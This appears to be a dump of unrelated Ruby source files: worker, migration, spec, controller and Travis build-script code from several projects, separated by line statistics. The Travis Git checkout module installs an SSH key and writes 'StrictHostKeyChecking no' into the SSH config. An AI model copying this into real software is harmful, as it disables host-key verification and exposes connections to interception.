class StaticSiteGeneratorWorker include Sidekiq::Worker # producer def self.trigger tenant_id StaticSiteGeneratorWorker.perform_async(tenant_id) end # consumer of the job. def perform tenant_id accepting_new_jobs = $redis.setnx "generating_docset", Time.now.to_i if !accepting_new_jobs $redis.setnx "new_docset_request", Time.now.to_i if stale? Rails.logger.debug "assume prev job died, doing heavy lifting anyway" run_job tenant_id else Rails.logger.debug "already in progress, skipping" end else Rails.logger.debug "starting new job" run_job tenant_id end end def stale? time_start = $redis.get "generating_docset" time_diff = Time.now.to_i - time_start.to_i time_threshold = 20.seconds time_diff > time_threshold end def run_job tenant_id Rails.logger.debug "doing heavy lifting" StaticSiteGenerator.generate(tenant_id) # sleep 10 Rails.logger.debug "done!" if $redis.get("new_docset_request") $redis.del "new_docset_request" StaticSiteGeneratorWorker.trigger tenant_id end $redis.del "generating_docset" # lowering ready flag end end
23.686275
77
0.70447
38943138cbfcefdff279b6de46f80d26c00d979b
2,503
require 'spec_helper' describe Gitlab::Ci::Config::Entry::Reports do let(:entry) { described_class.new(config) } describe 'validates ALLOWED_KEYS' do let(:artifact_file_types) { Ci::JobArtifact.file_types } described_class::ALLOWED_KEYS.each do |keyword, _| it "expects #{keyword} to be an artifact file_type" do expect(artifact_file_types).to include(keyword) end end end describe 'validation' do context 'when entry config value is correct' do using RSpec::Parameterized::TableSyntax shared_examples 'a valid entry' do |keyword, file| describe '#value' do it 'returns artifacts configuration' do expect(entry.value).to eq({ "#{keyword}": [file] } ) end end describe '#valid?' do it 'is valid' do expect(entry).to be_valid end end end where(:keyword, :file) do :junit | 'junit.xml' :codequality | 'gl-code-quality-report.json' :sast | 'gl-sast-report.json' :dependency_scanning | 'gl-dependency-scanning-report.json' :container_scanning | 'gl-container-scanning-report.json' :dast | 'gl-dast-report.json' :license_management | 'gl-license-management-report.json' :performance | 'performance.json' end with_them do context 'when value is an array' do let(:config) { { "#{keyword}": [file] } } it_behaves_like 'a valid entry', params[:keyword], params[:file] end context 'when value is not array' do let(:config) { { "#{keyword}": file } } it_behaves_like 'a valid entry', params[:keyword], params[:file] end end end context 'when entry value is not correct' do describe '#errors' do context 'when value of attribute is invalid' do where(key: described_class::ALLOWED_KEYS) do let(:config) { { "#{key}": 10 } } it 'reports error' do expect(entry.errors) .to include "reports #{key} should be an array of strings or a string" end end end context 'when there is an unknown key present' do let(:config) { { codeclimate: 'codeclimate.json' } } it 'reports error' do expect(entry.errors) .to include 'reports config contains unknown keys: codeclimate' end end end end end end
29.447059
86
0.587295
e22aa8f7e4992aab6230ac074f8eee9216ad97fc
362
class CreateApplications < ActiveRecord::Migration def change create_table :applications do |t| t.string :short_name, :limit => 20 t.string :name t.string :icon t.string :url t.integer :app_type, :default => 1 t.integer :status, :null => false, :default => 1 t.timestamps end end end
25.857143
59
0.582873
b9b590e2bc1abe525770e23582c59ad25f527047
1,853
require 'spec_helper' describe 'bitbucket' do context 'supported operating systems' do on_supported_os.each do |os, facts| context "on #{os} #{facts}" do let(:facts) do facts end context 'with javahome not set' do it('fails') do is_expected.to raise_error(Puppet::Error, %r{You need to specify a value for javahome}) end end context 'with javahome set' do let(:params) do { javahome: '/opt/java' } end it { is_expected.to compile.with_all_deps } it { is_expected.to contain_class('bitbucket') } it { is_expected.to contain_class('bitbucket::params') } it { is_expected.to contain_anchor('bitbucket::start').that_comes_before('Class[bitbucket::install]') } it { is_expected.to contain_class('bitbucket::install').that_comes_before('Class[bitbucket::config]') } it { is_expected.to contain_class('bitbucket::config') } it { is_expected.to contain_class('bitbucket::backup') } it { is_expected.to contain_class('bitbucket::service').that_subscribes_to('Class[bitbucket::config]') } it { is_expected.to contain_anchor('bitbucket::end').that_requires('Class[bitbucket::service]') } it { is_expected.to contain_class('archive') } it { is_expected.to contain_service('bitbucket') } end end end end context 'unsupported operating system' do describe 'test class without any parameters on Solaris/Nexenta' do let(:facts) do { osfamily: 'Solaris', operatingsystem: 'Nexenta', operatingsystemmajrelease: '7' } end it { expect { is_expected.to contain_service('bitbucket') }.to raise_error(Puppet::Error, %r{Nexenta 7 not supported}) } end end end
39.425532
126
0.631409
bf69ef352ccd187fc8e90d1be2560873f87228e4
1,052
# frozen_string_literal: true # rubocop:disable Style/Documentation module Gitlab module BackgroundMigration class CleanupOptimisticLockingNulls QUERY_ITEM_SIZE = 1_000 # table - The name of the table the migration is performed for. # start_id - The ID of the object to start at # stop_id - The ID of the object to end at def perform(start_id, stop_id, table) model = define_model_for(table) # After analysis done, a batch size of 1,000 items per query was found to be # the most optimal. Discussion in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18418#note_282285336 (start_id..stop_id).each_slice(QUERY_ITEM_SIZE).each do |range| model .where(lock_version: nil) .where("ID BETWEEN ? AND ?", range.first, range.last) .update_all(lock_version: 0) end end def define_model_for(table) Class.new(ActiveRecord::Base) do self.table_name = table end end end end end
31.878788
116
0.652091
39e783db733188da577bbdaf4791ec1ce9b77c48
11,658
require File.expand_path("../../base", __FILE__) require "pathname" require "tmpdir" require "vagrant/vagrantfile" describe Vagrant::Vagrantfile do include_context "unit" let(:keys) { [] } let(:loader) { Vagrant::Config::Loader.new( Vagrant::Config::VERSIONS, Vagrant::Config::VERSIONS_ORDER) } subject { described_class.new(loader, keys) } before do keys << :test end def configure(&block) loader.set(:test, [["2", block]]) end # A helper to register a provider for use in tests. def register_provider(name, config_class=nil, options=nil) provider_cls = Class.new(VagrantTests::DummyProvider) do if options && options[:unusable] def self.usable?(raise_error=false) raise Vagrant::Errors::VagrantError if raise_error false end end end register_plugin("2") do |p| p.provider(name, options) { provider_cls } if config_class p.config(name, :provider) { config_class } end end provider_cls end describe "#config" do it "exposes the global configuration" do configure do |config| config.vm.box = "what" end expect(subject.config.vm.box).to eq("what") end end describe "#machine" do let(:boxes) { Vagrant::BoxCollection.new(iso_env.boxes_dir) } let(:data_path) { Pathname.new(Dir.mktmpdir("vagrant-machine-data-path")) } let(:env) { iso_env.create_vagrant_env } let(:iso_env) { isolated_environment } let(:vagrantfile) { described_class.new(loader, keys) } subject { vagrantfile.machine(:default, :foo, boxes, data_path, env) } before do @foo_config_cls = Class.new(Vagrant.plugin("2", "config")) do attr_accessor :value end @provider_cls = register_provider("foo", @foo_config_cls) configure do |config| config.vm.box = "foo" config.vm.provider "foo" do |p| p.value = "rawr" end end iso_env.box3("foo", "1.0", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 123 end VF end after do FileUtils.rm_rf(data_path.to_s) end describe '#data_dir' do subject { super().data_dir } it { should eq(data_path) } end describe '#env' do subject { super().env } it { should equal(env) } end describe '#name' do subject { super().name } it { should eq(:default) } end describe '#provider' do subject { super().provider } it { should be_kind_of(@provider_cls) } end describe '#provider_name' do subject { super().provider_name } it { should eq(:foo) } end describe '#vagrantfile' do subject { super().vagrantfile } it { should equal(vagrantfile) } end it "has the proper box" do expect(subject.box.name).to eq("foo") end it "has the valid configuration" do expect(subject.config.vm.box).to eq("foo") end it "loads the provider-specific configuration" do expect(subject.provider_config).to be_kind_of(@foo_config_cls) expect(subject.provider_config.value).to eq("rawr") end end describe "#machine_config" do let(:iso_env) { isolated_environment } let(:boxes) { Vagrant::BoxCollection.new(iso_env.boxes_dir) } it "should return a basic configured machine" do provider_cls = register_provider("foo") configure do |config| config.vm.box = "foo" end results = subject.machine_config(:default, :foo, boxes) box = results[:box] config = results[:config] expect(config.vm.box).to eq("foo") expect(box).to be_nil expect(results[:provider_cls]).to equal(provider_cls) end it "configures without a provider or boxes" do register_provider("foo") configure do |config| config.vm.box = "foo" end results = subject.machine_config(:default, nil, nil) box = results[:box] config = results[:config] expect(config.vm.box).to eq("foo") expect(box).to be_nil expect(results[:provider_cls]).to be_nil end it "configures with sub-machine config" do register_provider("foo") configure do |config| config.ssh.port = "1" config.vm.box = "base" config.vm.define "foo" do |f| f.ssh.port = 100 end end results = subject.machine_config(:foo, :foo, boxes) config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(100) end it "configures with box configuration if it exists" do register_provider("foo") configure do |config| config.vm.box = "base" end iso_env.box3("base", "1.0", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 123 end VF results = subject.machine_config(:default, :foo, boxes) box = results[:box] config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(123) expect(box).to_not be_nil expect(box.name).to eq("base") end it "does not configure box configuration if set to ignore" do register_provider("foo") configure do |config| config.vm.box = "base" config.vm.ignore_box_vagrantfile = true end iso_env.box3("base", "1.0", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 123 config.vm.hostname = "hello" end VF results = subject.machine_config(:default, :foo, boxes) box = results[:box] config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(nil) expect(config.vm.hostname).to eq(nil) expect(box).to_not be_nil expect(box.name).to eq("base") end it "configures with the proper box version" do register_provider("foo") configure do |config| config.vm.box = "base" config.vm.box_version = "~> 1.2" end iso_env.box3("base", "1.0", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 123 end VF iso_env.box3("base", "1.3", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 245 end VF results = subject.machine_config(:default, :foo, boxes) box = results[:box] config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(245) expect(box).to_not be_nil expect(box.name).to eq("base") expect(box.version).to eq("1.3") end it "configures with box config of other supported formats" do register_provider("foo", nil, box_format: "bar") configure do |config| config.vm.box = "base" end iso_env.box3("base", "1.0", :bar, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 123 end VF results = subject.machine_config(:default, :foo, boxes) config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(123) end it "loads provider overrides if set" do register_provider("foo") register_provider("bar") configure do |config| config.ssh.port = 1 config.vm.box = "base" config.vm.provider "foo" do |_, c| c.ssh.port = 100 end end # Test with the override results = subject.machine_config(:default, :foo, boxes) config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(100) # Test without the override results = subject.machine_config(:default, :bar, boxes) config = results[:config] expect(config.vm.box).to eq("base") expect(config.ssh.port).to eq(1) end it "loads the proper box if in a provider override" do register_provider("foo") configure do |config| config.vm.box = "base" config.vm.box_version = "1.0" config.vm.provider "foo" do |_, c| c.vm.box = "foobox" c.vm.box_version = "2.0" end end iso_env.box3("base", "1.0", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 123 end VF iso_env.box3("foobox", "2.0", :foo, vagrantfile: <<-VF) Vagrant.configure("2") do |config| config.ssh.port = 234 end VF results = subject.machine_config(:default, :foo, boxes) config = results[:config] box = results[:box] expect(config.vm.box).to eq("foobox") expect(config.ssh.port).to eq(234) expect(config.vm.box_version).to eq("2.0") expect(box).to_not be_nil expect(box.name).to eq("foobox") expect(box.version).to eq("2.0") end it "raises an error if the machine is not found" do expect { subject.machine_config(:foo, :foo, boxes) }. to raise_error(Vagrant::Errors::MachineNotFound) end it "raises an error if the provider is not found" do expect { subject.machine_config(:default, :foo, boxes) }. to raise_error(Vagrant::Errors::ProviderNotFound) end it "raises an error if the provider is not found but gives suggestion" do register_provider("foo") expect { subject.machine_config(:default, :Foo, boxes) }. to raise_error(Vagrant::Errors::ProviderNotFoundSuggestion) end it "raises an error if the provider is not usable" do register_provider("foo", nil, unusable: true) expect { subject.machine_config(:default, :foo, boxes) }. to raise_error(Vagrant::Errors::ProviderNotUsable) end end describe "#machine_names" do it "returns the default name when single-VM" do configure { |config| } expect(subject.machine_names).to eq([:default]) end it "returns all of the names in a multi-VM" do configure do |config| config.vm.define "foo" config.vm.define "bar" end expect(subject.machine_names).to eq( [:foo, :bar]) end end describe "#machine_names_and_options" do it "returns the default name" do configure { |config| } expect(subject.machine_names_and_options).to eq({ default: { config_version: "2" }, }) end it "returns all the machines" do configure do |config| config.vm.define "foo" config.vm.define "bar", autostart: false config.vm.define "baz", autostart: true end expect(subject.machine_names_and_options).to eq({ foo: { config_version: "2" }, bar: { config_version: "2", autostart: false }, baz: { config_version: "2", autostart: true }, }) end end describe "#primary_machine_name" do it "returns the default name when single-VM" do configure { |config| } expect(subject.primary_machine_name).to eq(:default) end it "returns the designated machine in multi-VM" do configure do |config| config.vm.define "foo" config.vm.define "bar", primary: true config.vm.define "baz" end expect(subject.primary_machine_name).to eq(:bar) end it "returns nil if no designation in multi-VM" do configure do |config| config.vm.define "foo" config.vm.define "baz" end expect(subject.primary_machine_name).to be_nil end end end
26.435374
79
0.606451
28a2f25bb29980a1769e03f0ac3a2fab62f3844b
190
# frozen_string_literal: true module FFaker module Guid extend ModuleUtils extend self def guid FFaker.hexify('########-####-####-####-############') end end end
14.615385
59
0.536842
6aa5fe47150452d4243551ce4defd8912b02a923
1,587
# frozen_string_literal: true # WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE require 'aws-sdk-core' require 'aws-sigv4' require_relative 'aws-sdk-apigatewaymanagementapi/types' require_relative 'aws-sdk-apigatewaymanagementapi/client_api' require_relative 'aws-sdk-apigatewaymanagementapi/client' require_relative 'aws-sdk-apigatewaymanagementapi/errors' require_relative 'aws-sdk-apigatewaymanagementapi/resource' require_relative 'aws-sdk-apigatewaymanagementapi/customizations' # This module provides support for AmazonApiGatewayManagementApi. This module is available in the # `aws-sdk-apigatewaymanagementapi` gem. # # # Client # # The {Client} class provides one method for each API operation. Operation # methods each accept a hash of request parameters and return a response # structure. # # api_gateway_management_api = Aws::ApiGatewayManagementApi::Client.new # resp = api_gateway_management_api.delete_connection(params) # # See {Client} for more information. # # # Errors # # Errors returned from AmazonApiGatewayManagementApi are defined in the # {Errors} module and all extend {Errors::ServiceError}. # # begin # # do stuff # rescue Aws::ApiGatewayManagementApi::Errors::ServiceError # # rescues all AmazonApiGatewayManagementApi API errors # end # # See {Errors} for more information. # # @!group service module Aws::ApiGatewayManagementApi GEM_VERSION = '1.29.0' end
29.388889
97
0.781348
18d632c992ccd4b55e2a700fa92b03d5896a54fb
273
module Spree module Stock class ShippingRateSelector attr_reader :shipping_rates def initialize(shipping_rates) @shipping_rates = shipping_rates end def find_default shipping_rates.min_by(&:cost) end end end end
16.058824
40
0.663004
08d6ee5f5de3dca3a8c7bf7ddd4f3a7c45be6937
8,093
require File.dirname(__FILE__) + '/../../../lib/buildmaster/cotta' require 'spec' require 'pathname' module CottaSpecifications def register_cotta_file_specifications setup do @file = BuildMaster::CottaFile.new(@system, Pathname.new('dir/file.txt')) end specify 'file can be created with system and pathname' do @file.name.should == 'file.txt' @file.path.should == Pathname.new('dir/file.txt') @file.exists?.should == false end specify 'file should know properties like parent, name, etc.' do @file.parent.should == BuildMaster::CottaDir.new(@system, Pathname.new('dir')) @file.name.should == 'file.txt' @file.path.should == Pathname.new('dir/file.txt') @file.extname.should == '.txt' @file.basename.should == 'file' end specify 'should support relative path' do parent = @file.parent file = parent.file('one/two/three.txt') file.relative_path_from(parent).to_s.should == 'one/two/three.txt' end specify 'file should support stat' do @file.save('test') @file.stat.should_not_be_nil @file.stat.size.should == 4 @file.stat.writable?.should == true end specify 'should raise error if does not exist' do Proc.new {@file.stat}.should_raise Errno::ENOENT end specify 'should load and save file content' do @file.exists?.should == false @file.parent.exists?.should == false @file.save("content to save\nsecond line") @file.exists?.should == true @file.load.should ==("content to save\nsecond line") end specify 'should open file to read' do @file.save("one\ntwo") @file.read do |file| file.gets.should ==("one\n") file.gets.should ==('two') end end specify 'should equal if same system and pathname' do file2 = BuildMaster::CottaFile.new(@system, Pathname.new('dir/file.txt')) file2.should == @file end specify 'should copy to another file' do file2 = BuildMaster::CottaFile.new(@system, Pathname.new('dir2/file.txt')) file2.exists?.should == false @file.save('my content') @file.copy_to(file2) file2.exists?.should == true file2.load.should == 'my content' end specify 'should move file' do file2 = BuildMaster::CottaFile.new(@system, Pathname.new('dir2/file.txt')) file2.exists?.should == false @file.save('content') @file.move_to(file2) file2.exists?.should == true file2.load.should == 'content' @file.exists?.should == false end specify 'should support foreach' do @file.write do |file| file.puts 'line one' file.puts 'line two' end collected = Array.new @file.foreach do |line| collected.push line end collected.size.should == 2 collected[0].should == "line one\n" collected[1].should == "line two\n" end specify 'should delete file' do @file.save @file.exists?.should == true @file.delete @file.exists?.should == false end specify 'should raise error if file to delete does not exist' do lambda {@file.delete}.should_raise Errno::ENOENT end specify 'should check timestamp to see which one is older' do @file.save file2 = @file.parent.file('another.txt') sleep 1 file2.save @file.older_than?(file2).should == true file2.older_than?(@file).should == false end end def register_cotta_dir_specifications setup do @dir = BuildMaster::CottaDir.new(@system, Pathname.new('dir')) end specify 'load dir with basic information' do @dir.name.should == 'dir' end specify 'dir objects are value objects, equal on system and path' do (BuildMaster::CottaDir.new(@system, Pathname.new('dir')) == @dir).should == true end specify 'dir should not be equal if path different' do (BuildMaster::CottaDir.new(@system, Pathname.new('/dir')) == @dir).should == false end specify 'should support relative path' do sub_dir = @dir.dir('one/two/three') sub_dir.relative_path_from(@dir).to_s.should == 'one/two/three' end specify 'dir should know its parent' do @dir.parent.name.should == '.' @dir.parent.parent.should_be nil end specify 'should raise error if not exits stat' do Proc.new {@dir.stat}.should_raise Errno::ENOENT end specify 'support stat' do @dir.mkdirs @dir.stat.should_not_be_nil end specify 'dir should handle root dir' do dir = BuildMaster::CottaDir.new(@system, Pathname.new('/root')) dir.parent.path.should == Pathname.new('/') dir.parent.name.should == '/' dir.parent.exists?.should == true dir.parent.root?.should == true dir.parent.parent.should_be nil end specify 'dir should handle root dir for drive letters' do dir = BuildMaster::CottaDir.new(@system, Pathname.new('C:/Windows')) dir.name.should == 'Windows' dir.parent.path.should == Pathname.new('C:/') dir.parent.name.should == 'C:/' end specify 'dir should return sub directory' do @dir.dir('sub').path.should == Pathname.new('dir/sub') @dir.dir('sub').parent.should == @dir end specify 'dir should return a directory from a relative pathname' do @dir.dir(Pathname.new('one/two/three')).should == @dir.dir('one').dir('two').dir('three') end specify 'should get file in current directory' do file = @dir.file('file.txt') file.name.should == 'file.txt' file.path.should == Pathname.new('dir/file.txt') file.parent.should == @dir end specify 'should create dir and its parent' do dir = @dir.dir('one').dir('two') dir.exists?.should == false dir.parent.exists?.should == false dir.mkdirs dir.exists?.should == true dir.parent.exists?.should == true end specify 'should delete dir and its children' do dir = @dir.dir('one').dir('two').dir('three') dir.mkdirs @dir.exists?.should == true @dir.delete dir.exists?.should == false @dir.exists?.should == false end specify 'should do nothing if dir already exists' do dir = @dir.dir('one').dir('two') dir.mkdirs dir.mkdirs end specify 'should list dirs' do @dir.dir('one').mkdirs @dir.file('one.txt').save actual_dir_list = @dir.list actual_dir_list.size.should == 2 actual_dir_list[0].name.should == 'one' actual_dir_list[0].list.size.should == 0 actual_dir_list[1].name.should == 'one.txt' actual_dir_list[1].save end specify 'should move directory with its children' do dir = BuildMaster::CottaDir.new(@system, Pathname.new('targetdir/child_dir')) @dir.file('file.txt').save('file.txt') @dir.dir('subdir').mkdirs @dir.list.size.should == 2 @dir.move_to(dir) @dir.exists?.should == false dir.list.size.should == 2 dir.file('file.txt').load.should == 'file.txt' dir.dir('subdir').exists?.should == true end specify 'should copy directory with its children' do dir = BuildMaster::CottaDir.new(@system, Pathname.new('targetdir/child_dir')) @dir.file('file.txt').save('file.txt') @dir.dir('subdir').mkdirs @dir.list.size.should == 2 @dir.copy_to(dir) @dir.exists?.should == true dir.list.size.should == 2 dir.file('file.txt').load.should == 'file.txt' dir.dir('subdir').exists?.should == true end specify 'dir takes relative path' do dir = BuildMaster::CottaDir.new(@system, Pathname.new('targetdir/dir')) @dir.dir('one/two/three').mkdirs @dir.dir('one').exists?.should == true @dir.dir('one').dir('two').exists?.should == true @dir.dir('one').dir('two').dir('three').exists?.should == true end specify 'list on not existing directory' do dir = BuildMaster::CottaDir.new(@system, Pathname.new('no/such/directory')) Proc.new {dir.list}.should_raise Errno::ENOENT end specify 'allow filter for archive' do @dir.file('in/in.txt').save('test') @dir.file('out/out.txt').save('test') result = @dir.archive {|entry| entry.name != 'out'} target = result.extract(@dir.dir('extract')) target.dir('out').should_not_be_exist target.dir('in').should_be_exist end end end
29.974074
93
0.654269
5d146fb42f35b70734d5c983e006aa4ad3c072f0
692
cask "sysex-librarian" do version "1.4.1" sha256 "dbb1d9cb1c79cb873cb768c775a441b0da866f356cc18d697e33fc300f6b789a" url "https://www.snoize.com/SysExLibrarian/SysExLibrarian_#{version.dots_to_underscores}.zip" appcast "https://www.snoize.com/SysExLibrarian/SysExLibrarian.xml" name "SysEx Librarian" homepage "https://www.snoize.com/SysExLibrarian/" app "SysEx Librarian.app" uninstall quit: [ "com.snoize.SnoizeMIDI", "com.snoize.SysExLibrarian", ] zap trash: [ "~/Library/Preferences/com.snoize.SysExLibrarian.plist", "~/Library/Caches/com.snoize.SysExLibrarian", "~/Library/Saved Application State/com.snoize.SysExLibrarian.savedState", ] end
30.086957
95
0.75
03069447767f246a4e008d83f815f4059660383c
866
# frozen_string_literal: true module SolidusContent module Providers class DatoCms class << self def call(input) require 'dato' unless defined?(::Dato) api_token = input.dig(:type_options, :api_token) environment = input.dig(:type_options, :environment).presence client = Dato::Site::Client.new(api_token, environment: environment) item_id = input.dig(:options, :item_id) item_version = input.dig(:options, :version).presence fields = client.items.find(item_id, version: item_version) input.merge( data: fields, provider_client: client, ) end def entry_type_fields %i[api_token environment] end def entry_fields %i[item_id version] end end end end end
23.405405
78
0.593533
ac0e02346f1ed99bd227c19fac5cffb1984c8875
1,429
# snippet-comment:[These are tags for the AWS doc team's sample catalog. Do not remove.] # snippet-sourceauthor:[Doug-AWS] # snippet-sourcedescription:[Creates RSA public and private keys.] # snippet-keyword:[RSA] # snippet-keyword:[Ruby] # snippet-sourcesyntax:[ruby] # snippet-service:[s3] # snippet-keyword:[Code Sample] # snippet-sourcetype:[full-example] # snippet-sourcedate:[2018-03-16] # Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # This file is licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. A copy of the # License is located at # # http://aws.amazon.com/apache2.0/ # # This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS # OF ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. require 'openssl' public_key = 'public_key.pem' private_key = 'private_key.pem' pass_phrase = 'Mary had a little lamb' key = OpenSSL::PKey::RSA.new(1024) # public key open public_key, 'w' do |io| io.write key.public_key.to_pem end cipher = OpenSSL::Cipher.new 'AES-128-CBC' key_secure = key.export cipher, pass_phrase # private key protected by pass phrase open private_key, 'w' do |io| io.write key_secure end puts 'Saved public key to ' + public_key puts 'Saved private key to ' + private_key
31.065217
88
0.749475
e8acbf59b0b7f1ba3e7f43422f3e0e267e565865
4,408
require 'shellwords' module Travis module Build class Script module Git DEFAULTS = { git: { depth: 50, submodules: true, strategy: 'clone' } } def checkout install_ssh_key if tarball_clone? download_tarball else git_clone cd dir fetch_ref if fetch_ref? git_checkout submodules if submodules? end rm_key sh.to_s end private def ssh_key_source return unless data.ssh_key.source source = data.ssh_key.source.gsub(/[_-]+/, ' ') " from: #{source}" end def install_ssh_key return unless data.ssh_key echo "\nInstalling an SSH key#{ssh_key_source}" echo "Key fingerprint: #{data.ssh_key.fingerprint}\n" if data.ssh_key.fingerprint file '~/.ssh/id_rsa', data.ssh_key.value raw 'chmod 600 ~/.ssh/id_rsa' raw 'eval `ssh-agent` &> /dev/null' raw 'ssh-add ~/.ssh/id_rsa &> /dev/null' # BatchMode - If set to 'yes', passphrase/password querying will be disabled. # TODO ... how to solve StrictHostKeyChecking correctly? deploy a knownhosts file? raw %(echo -e "Host #{data.source_host}\n\tBatchMode yes\n\tStrictHostKeyChecking no\n" >> ~/.ssh/config) end def download_tarball cmd "mkdir -p #{dir}", assert: true curl_cmd = "curl -o #{sanitized_slug}.tar.gz #{oauth_token}-L #{tarball_url}" cmd curl_cmd, echo: curl_cmd.gsub(data.token || /\Za/, '[SECURE]'), assert: true, retry: true, fold: "tarball.#{next_git_fold_number}" cmd "tar xfz #{sanitized_slug}.tar.gz", assert: true cmd "mv #{sanitized_slug}-#{data.commit[0..6]}/* #{dir}", assert: true cd dir end def git_clone set 'GIT_ASKPASS', 'echo', :echo => false # this makes git interactive auth fail self.if "! -d #{dir}/.git" do cmd "git clone #{clone_args} #{data.source_url} #{dir}", assert: true, fold: "git.#{next_git_fold_number}", retry: true end self.else do cmd "git -C #{dir} fetch origin", assert: true, fold: "git.#{next_git_fold_number}", retry: true cmd "git -C #{dir} reset --hard", assert: true, timing: false, fold: "git.#{next_git_fold_number}" end end def rm_key raw 'rm -f ~/.ssh/source_rsa' end def fetch_ref? !!data.ref end def fetch_ref cmd "git fetch origin +#{data.ref}:", assert: true, fold: "git.#{next_git_fold_number}", retry: true end def git_checkout cmd "git checkout -qf #{data.pull_request ? 'FETCH_HEAD' : data.commit}", assert: true, timing: false, fold: "git.#{next_git_fold_number}" end def submodules? config[:git][:submodules] end def submodules self.if '-f .gitmodules' do depth_opt = " --depth=#{config[:git][:submodules_depth].to_s.shellescape}" if config[:git].key?(:submodules_depth) cmd 'echo -e "Host github.com\n\tStrictHostKeyChecking no\n" >> ~/.ssh/config', echo: false cmd 'git submodule init', fold: "git.#{next_git_fold_number}" cmd "git submodule update#{depth_opt}", assert: true, fold: "git.#{next_git_fold_number}", retry: true end end def clone_args args = "--depth=#{config[:git][:depth].to_s.shellescape}" args << " --branch=#{data.branch.shellescape}" unless data.ref args end def tarball_clone? config[:git][:strategy] == 'tarball' end def dir data.slug end def tarball_url "#{data.api_url}/tarball/#{data.commit}" end def oauth_token data.token ? "-H \"Authorization: token #{data.token}\" " : nil end def sanitized_slug data.slug.gsub('/', '-') end def next_git_fold_number @git_fold_number ||= 0 @git_fold_number += 1 end end end end end
32.895522
150
0.534483
1c6168dbc2c3d7647d30099f9e899c8ee1953568
1,307
# frozen_string_literal: true class SnippetsController < Snippets::ApplicationController include SnippetsActions include PreviewMarkdown include ToggleAwardEmoji include SpammableActions before_action :snippet, only: [:show, :edit, :raw, :toggle_award_emoji, :mark_as_spam] before_action :authorize_create_snippet!, only: :new before_action :authorize_read_snippet!, only: [:show, :raw] before_action :authorize_update_snippet!, only: :edit skip_before_action :authenticate_user!, only: [:index, :show, :raw] layout 'snippets' def index if params[:username].present? @user = UserFinder.new(params[:username]).find_by_username! @snippets = SnippetsFinder.new(current_user, author: @user, scope: params[:scope], sort: sort_param) .execute .page(params[:page]) .inc_author .inc_statistics return if redirect_out_of_range(@snippets) @noteable_meta_data = noteable_meta_data(@snippets, 'Snippet') render 'index' else redirect_to(current_user ? dashboard_snippets_path : explore_snippets_path) end end def new @snippet = PersonalSnippet.new end protected alias_method :awardable, :snippet alias_method :spammable, :snippet def spammable_path snippet_path(@snippet) end end
25.134615
106
0.72609